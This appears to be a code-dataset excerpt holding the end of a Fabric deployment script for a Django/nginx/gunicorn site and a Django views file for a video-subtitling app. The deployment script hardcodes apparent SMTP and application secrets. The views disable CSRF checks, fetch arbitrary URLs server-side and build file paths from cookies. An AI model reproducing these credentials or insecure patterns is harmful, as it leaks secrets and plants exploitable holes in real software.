= True\", \"DEBUG = False\")\n sed(settingPath, \"ALLOWED_HOSTS =.+$\", f'ALLOWED_HOSTS = [\"{siteName}\"]')\n\n secretKeyFile = f\"{sourceFolder}/project/secret_key.py\"\n if not exists(secretKeyFile):\n chars = \"abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(-_=+)\"\n key = \"\".join(random.SystemRandom().choice(chars) for _ in range(50))\n append(secretKeyFile, f'SECRET_KEY=\"{key}\"')\n append(settingPath, '\\nfrom .secret_key import SECRET_KEY')\n\n\ndef updateVirtualEnv(sourceFolder):\n virtualEnvFolder = f\"{sourceFolder}/../virtualenv\"\n if not exists(f\"{virtualEnvFolder}/bin/pip\"):\n run(f\"python3.6 -m venv {virtualEnvFolder}\")\n run(f\"{virtualEnvFolder}/bin/pip install --upgrade pip\")\n run(f\"{virtualEnvFolder}/bin/pip install -r {sourceFolder}/requirements.txt\")\n\n\ndef updateDatabase(sourceFolder):\n run(f\"cd {sourceFolder} && ../virtualenv/bin/python3.6 manage.py migrate --noinput\")\n\n\ndef updateStatic(sourceFolder):\n run(f\"cd {sourceFolder} && ../virtualenv/bin/python3.6 manage.py collectstatic --noinput\")\n\n\ndef makeService(port_servise=80):\n siteName = env.host\n siteFolder = f\"/home/{env.user}/sites/{siteName}\"\n sourceFolder = f\"{siteFolder}/source\"\n\n serviceProcs(siteName, sourceFolder, env.user, port_servise)\n\n\ndef restartService(port_servise=80):\n siteName = env.host\n _restartService(siteName)\n\n\ndef _restartService(siteName):\n sudo(\"systemctl daemon-reload\")\n sudo(f\"systemctl enable {siteName}\")\n sudo(f\"systemctl restart {siteName}\")\n sudo(f\"systemctl status {siteName}\")\n\n\ndef serviceProcs(siteName, sourceFolder, username, port=80):\n sitesAvailableCfg = f\"/etc/nginx/sites-available/{siteName}\"\n sudo(f\"cp {sourceFolder}/deploy-tools/nginx-site-avalabel.conf {sitesAvailableCfg}\")\n sed(sitesAvailableCfg, \"SITENAME\", siteName, use_sudo=True)\n sed(sitesAvailableCfg, \"PORT\", str(port), use_sudo=True)\n sed(sitesAvailableCfg, \"USERNAME\", username, use_sudo=True)\n if not exists(f\"/etc/nginx/sites-enabled/{siteName}\"):\n sudo(f\"ln -s /etc/nginx/sites-available/{siteName} /etc/nginx/sites-enabled/{siteName}\")\n if exists(f\"/etc/nginx/sites-enabled/default\"):\n sudo(\"rm /etc/nginx/sites-enabled/default\")\n sudo(\"systemctl reload nginx\")\n servisePath = f\"/etc/systemd/system/{siteName}.service\"\n sudo(f\"cp {sourceFolder}/deploy-tools/gunicorn-SITENAME.service {servisePath}\")\n sed(servisePath, \"SITENAME\", siteName, use_sudo=True)\n sed(servisePath, \"SMTP_SECRET\", \"Uandrew1965\", use_sudo=True)\n sed(servisePath, \"SECRET\", \"mt30718tm\", use_sudo=True)\n sed(servisePath, \"USERNAME\", username, use_sudo=True)\n _restartService(siteName)\n\n\nif __name__ == \"__main__\":\n os.chdir(\"\")\n","sub_path":"deploy/fabfile.py","file_name":"fabfile.py","file_ext":"py","file_size_in_byte":5062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"157302341","text":"from django.shortcuts import render\r\nfrom django.http import HttpResponse\r\nfrom django.core.files.storage import FileSystemStorage\r\nimport requests,os,re,pytube,json,mimetypes,random,string,subprocess,glob\r\nfrom django.views.decorators.csrf import csrf_exempt\r\nfrom requests.adapters import HTTPAdapter\r\nfrom django.core.mail import send_mail\r\n\r\nMEDIA_PATH=os.path.abspath('translation/media')\r\n\r\ndef convert(srt,video,random_name):\r\n subprocess.check_output(['ffmpeg','-hide_banner','-i',srt,srt.split('.')[0]+'.ass'], cwd=MEDIA_PATH)\r\n subprocess.check_output(['ffmpeg','-hide_banner','-threads','auto','-y', '-i',video, '-vf','ass='+srt.split('.')[0]+'.ass','-preset','ultrafast',random_name+'.mp4'],cwd=MEDIA_PATH)\r\n for file_name in glob.glob(MEDIA_PATH+'/'+srt.split('.')[0]+'.*'):\r\n os.remove(file_name)\r\n\r\ndef watch(request):\r\n if 'video' in request.COOKIES:\r\n return render(request,'translation/watch.html',{\"video\":request.COOKIES['video']})\r\n else:\r\n return render(request,'translation/error.html')\r\n\r\n@csrf_exempt\r\ndef index(request):\r\n if request.method ==\"POST\":\r\n user_name = request.POST['user_name']\r\n user_email = request.POST['user_email']\r\n user_description = request.POST['des']\r\n send_mail(\r\n \"Email from \"+user_name,\r\n user_description,\r\n user_email,\r\n ['test-tosend@mail.com'],\r\n ) \r\n return render(request,'translation/index.html', {\"user_name\":user_name})\r\n response = render(request,'translation/index.html', {'nbar': 'home'})\r\n response.delete_cookie('video')\r\n return response\r\n\r\ndef error_404(request, exception):\r\n return render(request,'translation/404.html', status = 404)\r\n\r\n@csrf_exempt\r\ndef creation_script(request):\r\n if 'video' in request.COOKIES and request.method == \"GET\":\r\n return render(request,'translation/creation_scripte.html',{\"video\":request.COOKIES['video']})\r\n \r\n elif 'video' in request.COOKIES and request.method == \"POST\":\r\n if request.POST.get('srt') != '':\r\n random_name = ''.join(random.choice(string.ascii_lowercase) for i in range(5))\r\n srt_name=request.COOKIES['video'].split('.')[0]+'.vtt'\r\n with open('{}/{}'.format(MEDIA_PATH,srt_name),\"w\")as f:\r\n f.write(\"WEBVTT\\n\\r\"+request.POST.get('srt').replace('\\r\\n','\\n'))\r\n reponse= HttpResponse(json.dumps({'message': 'ok',}),content_type=\"application/json\")\r\n convert(srt_name,request.COOKIES['video'],random_name)\r\n reponse.set_cookie(\"video\",random_name+'.mp4')\r\n return reponse\r\n else:\r\n return HttpResponse(json.dumps({'message': 'not valid'}),content_type=\"application/json\")\r\n \r\n else:\r\n return render(request,'translation/error.html')\r\n \r\n\r\n@csrf_exempt\r\ndef generer_script(request):\r\n if 'video' in request.COOKIES:\r\n random_name = ''.join(random.choice(string.ascii_lowercase) for i in range(5))\r\n srt_name = request.COOKIES['video'].split('.')[0]+'.vtt'\r\n if request.method ==\"POST\":\r\n sub_file = request.FILES['mySub']\r\n if str(sub_file).split('.')[-1].lower()==\"srt\":\r\n with open('{}/{}'.format(MEDIA_PATH,srt_name),\"w\")as f:\r\n f.write(\"WEBVTT\\n\"+str(sub_file.read().decode()).replace(',','.'))\r\n else:\r\n fs = FileSystemStorage()\r\n fs.save(srt_name,sub_file)\r\n convert(srt_name,request.COOKIES['video'],random_name)\r\n reponse= HttpResponse(json.dumps({'message': 'ok',}),content_type=\"application/json\")\r\n reponse.set_cookie(\"video\",random_name+'.mp4')\r\n return reponse\r\n \r\n return render(request,'translation/generer_script.html',{\"video\":request.COOKIES['video']})\r\n else:\r\n return render(request,'translation/error.html')\r\n \r\n@csrf_exempt\r\ndef play_video(request):\r\n if request.method == 'POST':\r\n url = request.POST.get('link')\r\n if \"myVideo\" in request.FILES and url ==\"\":\r\n video_upload=''.join(random.choice(string.ascii_lowercase) for i in range(5))+'.'+str(request.FILES['myVideo']).split('.')[-1]\r\n video = request.FILES['myVideo']\r\n fs = FileSystemStorage()\r\n fs.save(video_upload,video)\r\n reponse= HttpResponse(json.dumps({'message': 'ok',}),content_type=\"application/json\")\r\n reponse.set_cookie(\"video\",video_upload)\r\n return reponse\r\n elif url != \"\" and url != None and not \"myVideo\" in request.FILES:\r\n try:\r\n if re.match(r'^(https?\\:\\/\\/)?(www\\.youtube\\.com|youtu\\.?be)\\/.+$',url):\r\n video = pytube.YouTube(url)\r\n video_name=''.join(random.choice(string.ascii_lowercase) for i in range(5))\r\n video.streams.get_highest_resolution().download(MEDIA_PATH,filename=video_name)\r\n response = HttpResponse(json.dumps({'message': 'ok',}),content_type=\"application/json\")\r\n response.set_cookie('video',video_name+'.mp4')\r\n return response\r\n elif mimetypes.MimeTypes().guess_type(url)[0].startswith(\"video\"):\r\n video_extension=''.join(random.choice(string.ascii_lowercase) for i in range(5))+'.'+url.split('/')[-1].split('.')[-1]\r\n with requests.Session() as s:\r\n s.mount('https://', HTTPAdapter(max_retries=20))\r\n r = s.get(url,stream=True)\r\n with open('{}/{}'.format(MEDIA_PATH,video_extension), 'wb') as f:\r\n for chunk in r.iter_content(chunk_size=1024):\r\n if chunk:\r\n f.write(chunk)\r\n reponse = HttpResponse(json.dumps({'message': 'ok'}),content_type=\"application/json\")\r\n reponse.set_cookie(\"video\",video_extension)\r\n return reponse\r\n except Exception:\r\n return HttpResponse(json.dumps({'message': 'not valid'}),content_type=\"application/json\")\r\n \r\n elif url =='' and not \"myVideo\" in request.FILES:\r\n return HttpResponse(json.dumps({'message': 'empty'}),content_type=\"application/json\")\r\n elif request.FILES['myVideo'] !=\"\" and request.POST.get('link') !=\"\":\r\n return HttpResponse(json.dumps({'message': 'url and files'}),content_type=\"application/json\")\r\n \r\n reponse = render(request,'translation/blog-single.html')\r\n reponse.delete_cookie('video')\r\n return reponse","sub_path":"pfe/translation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}